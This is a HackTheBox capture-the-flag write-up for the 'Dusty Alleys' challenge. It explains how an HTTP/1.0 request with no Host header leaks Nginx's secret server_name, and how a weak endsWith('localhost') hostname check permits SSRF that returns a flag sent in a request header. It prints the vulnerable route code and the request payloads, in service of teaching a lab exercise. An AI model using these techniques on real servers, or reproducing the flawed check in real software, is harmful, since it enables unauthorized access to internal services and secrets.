357 words
2 minutes
HackTheBox - [Dusty Alleys challenge writeup]

Challenge Overview#

We are provided with an Nginx configuration file and a guardian.js source file. The goal is to access the /guardian endpoint, which is protected by a secret server name ($SECRET_ALLEY), and then exploit a logic flaw to retrieve the flag.

Step 1: Leaking the Secret Domain (Nginx Misconfiguration)#

Analysis#

The Nginx config defines two servers:

  1. alley.$SECRET_ALLEY (Default server)
  2. guardian.$SECRET_ALLEY

To access the guardian, we first need to know the random string $SECRET_ALLEY. Looking at the default server config:

location /think {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
...
}

The variable $host in Nginx behaves in a specific way: if the client provides a Host header, it uses that. If the client does not provide a Host header, Nginx defaults to using the server_name from the config. document

Exploit#

Not specifying the Host header in HTTP/1.1 is impossible. So we can downgrade the protocol to HTTP/1.0, which allows non-host header. We can force Nginx to reveal its internal server_name by sending an HTTP/1.0 request to the /think endpoint.

Terminal window
GET /think HTTP/1.0
No host header here

The backend code for /think returns req.headers. Because we sent no Host header, Nginx filled it with the secret server name.

{
"host": "alley.***.htb",
...
}

Step 2: SSRF via The Guardian#

Analysis#

Now that we can address the guardian server. In the source code for /guardian endpoint, it checks if hostname of the input URL is localhost. Then it fetches data from the URL and print out to the browser.

router.get("/guardian", async (req, res) => {
const quote = req.query.quote;
if (!quote) return res.render("guardian");
try {
const location = new URL(quote);
const direction = location.hostname;
if (!direction.endsWith("localhost") && direction !== "localhost")
return res.send("guardian", {
error: "You are forbidden from talking with me.",
});
} catch (error) {
return res.render("guardian", { error: "My brain circuits are mad." });
}
try {
let result = await node_fetch(quote, {
method: "GET",
headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
}).then((res) => res.text());
res.set("Content-Type", "text/plain");
res.send(result);
} catch (e) {
console.error(e);
return res.render("guardian", {
error: "The words are lost in my circuits",
});
}
});

The code also attaches the flag to the request as a header. So we can simply craft a quote payload.

/guardian?quote=http://localhost:1337/think
Host: guardian.***

Then we can achieve the flag.

HackTheBox - [Dusty Alleys challenge writeup]
https://minhi1.github.io/minhi1-blogs/posts/htb/medium/dusty-alleys/
Author
Minhi1
Published at
2026-01-12
License
CC BY-NC-SA 4.0